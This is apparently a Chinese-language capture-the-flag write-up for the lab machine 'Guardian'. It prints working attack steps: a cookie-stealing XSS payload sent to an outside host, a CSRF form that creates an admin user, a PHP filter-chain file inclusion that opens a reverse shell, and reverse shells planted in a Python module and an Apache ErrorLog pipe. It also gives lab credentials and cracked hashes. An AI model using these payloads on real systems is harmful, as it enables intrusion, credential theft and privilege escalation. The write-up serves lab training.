
端口扫描 #
nmap -Pn -sC -sV 10.10.11.84

添加主机到/etc/hosts

信息收集 #
发现存在子域名portal.guardian.htb

添加子域名到hosts


查看Help发现默认密码:GU1234

回到guardian.htb的首页,可以看到三个学生的邮箱

第一个可以登录进去
username: GU0142023
password: GU1234
登录进去后查看chat留言,发现在URL中有传参的ID

可以进行遍历一下所有的ID,带上Cookie
seq 1 20 > nums.txt
ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' -w nums.txt:FUZZ1 -w nums.txt:FUZZ2 -mode clusterbomb -H 'Cookie: PHPSESSID=0304agn4k1lsiodvd9n4jqkree' -fl 178,164

访问http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1
得到了一个gitea的密码:DHsNnk3V503 回复者的名称是jamil.enockson

添加Hosts并访问gitea.guardian.htb

username: jamil.enockson@guardian.htb
password: DHsNnk3V503

发现gitea的版本号是1.23.7
在Guardian/portal.guardian.htb的config/config.php中发现数据库凭证

'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
查看项目依赖

XSS #
phpspreadsheet存在许多XSS漏洞
参考https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
// Construct HTML
$html = '';
// Only if there are more than 1 sheets
if (count($sheets) > 1) {
// Loop all sheets
$sheetId = 0;
$html .= '<ul class="navigation">' . PHP_EOL;
foreach ($sheets as $sheet) {
$html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;
++$sheetId;
}
$html .= '</ul>' . PHP_EOL;
}
下面的简单分析:
- 受影响函数:
generateNavigation() - 问题:
$sheet->getTitle()直接拼接到 HTML<a>标签里,没有htmlspecialchars()。 - 场景:当 XLSX 有多个工作表时,会生成一个导航菜单。
- 攻击者只要能控制 Excel 表的 工作表名称,就能触发。
利用条件
- 攻击者需要上传或让受害者打开 恶意构造的 XLSX 文件。
- 服务器端用
PhpSpreadsheet\Writer\Html转换为 HTML 并输出。 - 用户访问这个转换后的页面时,XSS 就触发
WPS、一些python库以及一些在线编辑网站限制了sheet的名称长度或者特殊字符。这个网站还可以使用https://www.treegrid.com/FShee
构造payload
"><img src=x onerror=fetch('http://10.10.14.32:8000/?c='+btoa(document.cookie))>

回到portal找到一个上传点,允许上传的格式是docx、xlsx

启动监听
python3 -m http.server 8000

接收到的数据采用 base64 的编码形式
echo UEhQU0VTU0lEPWoycmc2dG45bnUxc3RtcTNrYWlvZW5wMHNp | base64 -d
得到cookie:PHPSESSID=j2rg6tn9nu1stmq3kaioenp0si
修改PHPSESSID发现是老师用户

然后进入Notice Board,发现可以留言,并且留言链接会被admin查看,似乎又是一个XSS

回到gitea查看一下源码,可以看到管理员可以创建用户配置文件,并且有一个名为csrf-tokens.php 的页面

查看csrf-tokens.php发现这里没有csrf_token的删除逻辑,可以找到一个用过的

在http://portal.guardian.htb/lecturer/notices/create.php中找到一个

写一个exp.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit</title>
</head>
<body>
<h1>CSRF Exploit Test</h1>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="P@ssw0rd123">
<input type="hidden" name="full_name" value="Attacker User">
<input type="hidden" name="email" value="attacker@example.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="123 Hackers Street">
<input type="hidden" name="user_role" value="admin">
<input type="hidden" name="csrf_token" value="de798831d2a5cb7d4ffde4458909c8b3">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
开启监听

提交请求


然后可以利用下面的凭证登录到Admin Panel
username: attacker
password: P@ssw0rd123

本地文件包含 #
来到Reports,发现URL中有文件参数

尝试使用php://filter来测试

回到gitea查看reports.php的源码
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
如果路径里包含 ..(目录穿越尝试),就直接拒绝。 只允许四类文件:enrollment.php、academic.php、financial.php、system.php(以及它们可能带路径前缀的情况)。如果不匹配,直接拒绝。
原始路径将如下所示:/var/www/html/config/db.php/。这是在末尾添加 ,system.php 之后: /var/www/html/config/db.php/,system.php
可见不再拒绝访问,但看不到 db.php 文件的内容

可以使用 php://filter 包装器的概念来利用这一点。参考https://github.com/synacktiv/php_filter_chain_generator

现在复制、粘贴和发送,看看是否可以看到 id。

现在利用这一点来反转 shell
python php_filter_chain_generator.py --chain '<?php system("bash -c '\''bash -i >& /dev/tcp/10.10.14.32/4444 0>&1'\''");?>'
RCE #
启动监听并发送

得到了带有 WWW-data 用户的 shell,一个最低权限用户,无法运行 sudo 命令,所以要检查打开的端口和服务。

端口 3306打开,我们还从源代码中看到 config.php包含凭据,因此可以将其用于访问 mysql
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
mysql -h 127.0.0.1 -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb

信息收集
show databases;
use guardiandb;
show tables;
select username,password_hash from users;

在creatuser.php里面知道了密码的生成逻辑是加盐SHA256,盐值在config.php中
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
$password = hash('sha256', $password . $salt);
密码破解 #

hashcat -m 1410 hash.txt -w 3 -O /usr/share/wordlists/rockyou.txt --username
hashcat -m 1410 hash.txt -w 3 -O /usr/share/wordlists/rockyou.txt --username --show

admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
admin 的密码似乎太可疑了,使用 jamil.enockson 进行 ssh。
ssh jamil@10.10.11.84

ls -la

获取user flag
提权 #
sudo -l

发现可以以 MARK权限运行命令
查看/opt/scripts/utilities/utilities.py
## utilities.py
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()

- 脚本接收一个
action参数:backup-db、zip-attachments、collect-logs、system-status。 - 如果执行前三个操作,必须是
mark用户,否则拒绝访问。 system-status不受限制,任何用户都能运行。- 内部调用了
utils模块下的子模块函数(比如db.backup_database()),实际功能依赖这些模块。
查看utils目录下的文件,发现status.py是可以写入的

思路就是反弹shell代码写入status.py,然后执行utilities.py
先备份 status.py 原始文件再修改
## status.py
import platform
import psutil
import os
import subprocess
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
subprocess.run(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.32/5555 0>&1"])
开启监听并运行
sudo -u mark /opt/scripts/utilities/utilities.py system-status

Root #
sudo -l

发现可以以 root 权限运行safeapache2ctl
/usr/local/bin/safeapache2ctl

此脚本需要来自 /home/mark/confs/file.conf 的配置文件,但 /confs 似乎为空
利用Apache配置文件提权
Apache支持将日志通过管道(|)输出到外部程序,日志内容通过标准输入(stdin)传递给指定程序。攻击者可利用此功能指定恶意脚本,从而实现远程命令执行(RCE)。
cat > /home/mark/confs/shell.conf << EOF
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.32/6666 0>&1'"
EOF
开启监听并运行
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/shell.conf

获取root flag